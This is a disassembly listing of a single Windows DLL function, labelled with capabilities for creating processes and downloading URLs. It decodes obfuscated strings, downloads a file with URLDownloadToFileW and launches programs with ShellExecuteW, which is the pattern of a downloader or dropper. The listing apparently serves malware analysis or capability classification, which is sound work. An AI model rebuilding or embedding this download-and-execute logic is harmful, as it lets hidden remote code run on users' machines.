Function at 0x180005770
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x1800852a8]
xor rax, rsp
mov qword [rbp + 0x170], rax
xor r12d, r12d
lea rcx, [0x180085f00]
cmp qword [0x180085f18], 0x10
cmovae rcx, qword [0x180085f00]
call fcn.180005520
test al, al
jne 0x180006745
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], r12b
lea r8d, [r12 + 0x18]
lea rdx, str.IMAHIs3QFBm6TiVJFLOAJg
lea rcx, [rsp + 0x30]
call fcn.18000a760
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x20]
call fcn.180003fa0
nop
lea rbx, [0x180085ee0]
mov r8, rbx
cmp qword [0x180085ef8], 0x10
cmovae r8, qword [0x180085ee0]
mov r9, qword [0x180085ef0]
xor edx, edx
mov rcx, rax
call fcn.18000ba20
mov qword [rbp], r12
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x18000589d
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005898
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000677b
call fcn.18002ead0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800058ea
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800058e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006781
call fcn.18002ead0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov r8d, 0x18
lea rdx, str.zOYC_kp0FQFb5w5rmxM81w
lea rcx, [rsp + 0x50]
call fcn.18000a760
nop
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x138]
call fcn.180003fa0
nop
mov r8, rbx
cmp qword [0x180085ef8], 0x10
cmovae r8, qword [0x180085ee0]
mov r9, qword [0x180085ef0]
xor edx, edx
mov rcx, rax
call fcn.18000ba20
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x150]
cmp rdx, 0x10
jb 0x1800059c2
inc rdx
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800059bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006787
call fcn.18002ead0
mov qword [rbp + 0x148], r12
mov qword [rbp + 0x150], 0xf
mov byte [rbp + 0x138], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180005a18
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005a13
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000678d
call fcn.18002ead0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
lea rdi, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdi, qword [rbp]
add rdi, qword [rbp + 0x10]
lea rbx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rbx, qword [rbp]
mov qword [rbp - 0x40], r12
mov rcx, r12
mov qword [rbp - 0x30], rcx
mov edx, 7
mov qword [rbp - 0x28], rdx
mov word [rbp - 0x40], r12w
mov rax, rdi
sub rax, rbx
cmp rax, 8
jb 0x180005a87
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.18000bc40
mov rcx, r12
mov qword [rbp - 0x30], rcx
mov rdx, qword [rbp - 0x28]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x70], rax
cmp rbx, rdi
je 0x180005ae2
movsx r9d, byte [rbx]
cmp rcx, rdx
jae 0x180005ac0
lea rax, [rcx + 1]
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x40]
cmp rdx, 8
cmovae rax, qword [rbp - 0x40]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r12w
jmp 0x180005ad0
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x40]
call fcn.18000bdb0
inc rbx
cmp rbx, rdi
je 0x180005ae2
mov rdx, qword [rbp - 0x28]
mov rcx, qword [rbp - 0x30]
jmp 0x180005a95
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov r8d, 0x6c
lea rdx, str.Vp5eLH_eFjeWnTMPTWLgR6xrUcIT57EPbvfBEA5pq_Y5jbOZ6q2y2v8_JL3AoZ2lFvnQoA3GOCAyqPCVz7elss9QPDCfbpUbfrTQn5sYQak
lea rcx, [rsp + 0x30]
call fcn.18000a760
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x80]
call fcn.180003fa0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180005b61
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005b5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006793
call fcn.18002ead0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rdi, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rdi, qword [rbp + 0x80]
add rdi, qword [rbp + 0x90]
lea rbx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rbx, qword [rbp + 0x80]
mov qword [rbp - 0x60], r12
mov rcx, r12
mov qword [rbp - 0x50], rcx
mov r9d, 7
mov qword [rbp - 0x48], r9
mov word [rbp - 0x60], r12w
mov rdx, rdi
sub rdx, rbx
cmp rdx, 8
jb 0x180005be3
lea rcx, [rbp - 0x60]
call fcn.18000bc40
mov rcx, r12
mov qword [rbp - 0x50], rcx
mov r9, qword [rbp - 0x48]
lea rax, [rbp - 0x60]
mov qword [rsp + 0x70], rax
cmp rbx, rdi
je 0x180005c40
movsx edx, byte [rbx]
cmp rcx, r9
jae 0x180005c1a
lea rax, [rcx + 1]
mov qword [rbp - 0x50], rax
lea rax, [rbp - 0x60]
cmp r9, 8
cmovae rax, qword [rbp - 0x60]
mov word [rax + rcx*2], dx
mov word [rax + rcx*2 + 2], r12w
jmp 0x180005c2e
movzx r9d, dx
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x60]
call fcn.18000bdb0
inc rbx
mov r9, qword [rbp - 0x48]
cmp rbx, rdi
je 0x180005c40
mov rcx, qword [rbp - 0x50]
jmp 0x180005bf1
lea r8, [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae r8, qword [rbp - 0x40]
lea rdx, [rbp - 0x60]
cmp r9, 8
cmovae rdx, qword [rbp - 0x60]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
lea rdi, [rbp + 0x20]
mov r15, qword [rbp + 0x20]
mov r13, qword [rbp + 0x38]
cmp r13, 0x10
cmovae rdi, r15
movabs rcx, 0x7fffffffffffffff
mov rsi, qword [rbp + 0x30]
cmp rsi, 0x10
jae 0x180005cc6
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x30], xmm0
mov ebx, 0xf
jmp 0x180005d3d
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
cmova rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x180005d10
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180006799
mov rcx, rax
call fcn.18002eb04
mov rcx, rax
test rax, rax
je 0x18000679f
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180005d1f
test rcx, rcx
je 0x180005d1c
call fcn.18002eb04
jmp 0x180005d1f
mov rax, r12
mov qword [rsp + 0x30], rax
lea r8, [rsi + 1]
mov rdx, rdi
mov rcx, rax
call fcn.180030e60
movabs rcx, 0x7fffffffffffffff
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
lea rax, [rsp + 0x30]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
mov rdi, qword [rbp + 0x10]
lea r14, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae r14, qword [rbp]
cmp rdi, 0x10
jae 0x180005d88
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x50], xmm0
mov ebx, 0xf
jmp 0x180005df5
mov rbx, rdi
or rbx, 0xf
cmp rbx, rcx
cmova rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x180005dd2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800067a5
mov rcx, rax
call fcn.18002eb04
mov rcx, rax
test rax, rax
je 0x1800067ab
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180005de1
test rcx, rcx
je 0x180005dde
call fcn.18002eb04
jmp 0x180005de1
mov rax, r12
mov qword [rsp + 0x50], rax
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call fcn.180030e60
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rbx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], rax
lea rcx, [rbp + 0xa0]
call fcn.180014780
nop
lea rbx, vtable.CryptoPP::AutoSeededRandomPool.0
mov qword [rbp + 0xa0], rbx
xor edx, edx
lea r8d, [rdx + 0x20]
lea rcx, [rbp + 0xa0]
call fcn.1800156a0
nop
movups xmm0, xmmword [str.p3s6v9y_BE_H_Mc]
movups xmmword [rbp + 0x138], xmm0
movzx eax, byte [0x1800752a8]
mov byte [rbp + 0x148], al
movups xmm0, xmmword [str.VkXp2s5v8y_B_E_H]
movups xmmword [rbp + 0x158], xmm0
movzx eax, byte [0x1800752c0]
mov byte [rbp + 0x168], al
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x138]
call fcn.180004770
nop
mov qword [rbp + 0xa0], rbx
lea rcx, [rbp + 0xa0]
call fcn.180003bf0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180005f27
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005f22
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800067b1
call fcn.18002ead0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180005f77
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005f72
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800067b7
call fcn.18002ead0
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x78], rax
lea rdx, [0x180085ee0]
lea rcx, [rsp + 0x50]
call fcn.180009680
mov r14, rax
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
lea rdi, [rbp + 0x20]
cmp r13, 0x10
cmovae rdi, r15
cmp rsi, 0x10
jae 0x180005fd0
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x30], xmm0
mov ebx, 0xf
jmp 0x180006047
mov rbx, rsi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x180006024
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800067bd
mov rcx, rax
call fcn.18002eb04
mov rcx, rax
test rax, rax
je 0x1800067c3
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180006033
test rcx, rcx
je 0x180006030
call fcn.18002eb04
jmp 0x180006033
mov rax, r12
mov qword [rsp + 0x30], rax
lea r8, [rsi + 1]
mov rdx, rdi
mov rcx, rax
call fcn.180030e60
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
mov rdx, r14
lea rcx, [rsp + 0x30]
call fcn.180004d90
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov r8d, 0x98
lea rdx, str.ufCyLvb8pVUBEpKYlM5UFnHYKI11bTbZS9RjMsLgKPt1w1zPUCEDXH6_CzyEo0lBuBvnWHZZTmtZrX4S55j3Z_73BRUS3x8O2USNv4y1B_eu30ZDqW5FvhHKAKdtYyRj6D9R04QiPyzv61y3BU6Q
lea rcx, [rsp + 0x30]
call fcn.18000a760
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x60]
call fcn.180003fa0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800060da
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800060d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800067c9
call fcn.18002ead0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rdx, qword [rbp + 0x60]
mov rdi, qword [rbp + 0x70]
add rdi, rdx
lea rbx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rbx, qword [rbp + 0x60]
mov qword [rbp - 0x80], r12
mov rcx, r12
mov qword [rbp - 0x70], rcx
mov edx, 7
mov qword [rbp - 0x68], rdx
mov word [rbp - 0x80], r12w
mov rax, rdi
sub rax, rbx
cmp rax, 8
jb 0x18000614c
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.18000bc40
mov rcx, r12
mov qword [rbp - 0x70], rcx
mov rdx, qword [rbp - 0x68]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x78], rax
cmp rbx, rdi
je 0x1800061ad
nop word [rax + rax]
movsx r9d, byte [rbx]
cmp rcx, rdx
jae 0x18000618b
lea rax, [rcx + 1]
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x80]
cmp rdx, 8
cmovae rax, qword [rbp - 0x80]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r12w
jmp 0x18000619b
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x80]
call fcn.18000bdb0
inc rbx
mov rdx, qword [rbp - 0x68]
cmp rbx, rdi
je 0x1800061ad
mov rcx, qword [rbp - 0x70]
jmp 0x180006160
lea r9, [rbp - 0x80]
cmp rdx, 8
cmovae r9, qword [rbp - 0x80]
lea rsi, [0x180085f60]
mov r8, rsi
cmp qword [0x180085f78], 8
cmovae r8, qword [0x180085f60]
lea r14, [0x180085f40]
mov rdx, r14
cmp qword [0x180085f58], 8
cmovae rdx, qword [0x180085f40]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
xor r8d, r8d
lea rdx, [0x180074fb7]
lea rcx, [rsp + 0x30]
call fcn.18000a760
nop
lea rdx, [0x180085f00]
lea rcx, [rsp + 0x50]
call fcn.180009680
mov rdi, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x180006253
mov rcx, qword [rax]
lea rdx, [0x1800752cc]
call fcn.180040a58
mov rbx, rax
lea r8, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae r8, qword [rsp + 0x30]
lea rdx, [0x1800752d0]
mov rcx, rax
call fcn.1800013d0
mov rcx, rbx
call fcn.180040ae8
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1800062c4
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1800062bf
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800067cf
mov rcx, r8
call fcn.18002ead0
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180006310
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000630b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800067cf
call fcn.18002ead0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov r8d, 0x2c
lea rdx, str.mQb2KKUk3V2nCZ0yAevNqYuiZBDmYPxXwmHi2Krhu0
lea rcx, [rsp + 0x30]
call fcn.18000a760
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x40]
call fcn.180003fa0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180006397
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006392
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800067d5
call fcn.18002ead0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rdi, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rdi, qword [rbp + 0x40]
add rdi, qword [rbp + 0x50]
lea rbx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rbx, qword [rbp + 0x40]
mov qword [rbp - 0x20], r12
mov rcx, r12
mov qword [rbp - 0x10], rcx
mov r8d, 7
mov qword [rbp - 8], r8
mov rdx, rdi
sub rdx, rbx
cmp rdx, 8
jb 0x1800063ff
lea rcx, [rbp - 0x20]
call fcn.18000bc40
mov rcx, r12
mov qword [rbp - 0x10], rcx
mov r8, qword [rbp - 8]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x78], rax
cmp rbx, rdi
je 0x18000645d
nop dword [rax]
movsx r9d, byte [rbx]
cmp rcx, r8
jae 0x18000643b
lea rax, [rcx + 1]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x20]
cmp r8, 8
cmovae rax, qword [rbp - 0x20]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r12w
jmp 0x18000644b
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x20]
call fcn.18000bdb0
inc rbx
mov r8, qword [rbp - 8]
cmp rbx, rdi
je 0x18000645d
mov rcx, qword [rbp - 0x10]
jmp 0x180006410
lea r9, [rbp - 0x20]
cmp r8, 8
cmovae r9, qword [rbp - 0x20]
cmp qword [0x180085f78], 8
cmovae rsi, qword [0x180085f60]
cmp qword [0x180085f58], 8
cmovae r14, qword [0x180085f40]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r8, rsi
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x1800064e2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800064dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800067db
call fcn.18002ead0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r12w
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x18000652e
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006529
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800067e1
call fcn.18002ead0
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x18000657e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006579
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800067e7
call fcn.18002ead0
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r12w
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x1800065ca
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800065c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800067ed
call fcn.18002ead0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x18000661a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006615
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800067f3
call fcn.18002ead0
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r12w
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x18000666c
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006667
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800067f9
call fcn.18002ead0
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x1800066c5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800066c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800067ff
call fcn.18002ead0
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r12w
cmp r13, 0x10
jb 0x18000670e
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x180006705
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006805
mov rcx, r15
call fcn.18002ead0
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x180006745
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006740
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006775
call fcn.18002ead0
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.18002eab0
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1800400b8
nop
call fcn.1800400b8
nop
call fcn.1800400b8
nop
call fcn.1800400b8
nop
call fcn.1800400b8
nop
call fcn.1800400b8
nop
call fcn.180001520
int3
call fcn.1800400b8
nop
call fcn.180001520
int3
call fcn.1800400b8
nop
call fcn.1800400b8
nop
call fcn.1800400b8
nop
call fcn.180001520
int3
call fcn.1800400b8
nop
call fcn.1800400b8
nop
call fcn.1800400b8
nop
call fcn.1800400b8
int3
call fcn.1800400b8
nop
call fcn.1800400b8
nop
call fcn.1800400b8
nop
call fcn.1800400b8
nop
call fcn.1800400b8
nop
call fcn.1800400b8
nop
call fcn.1800400b8
nop
call fcn.1800400b8
int3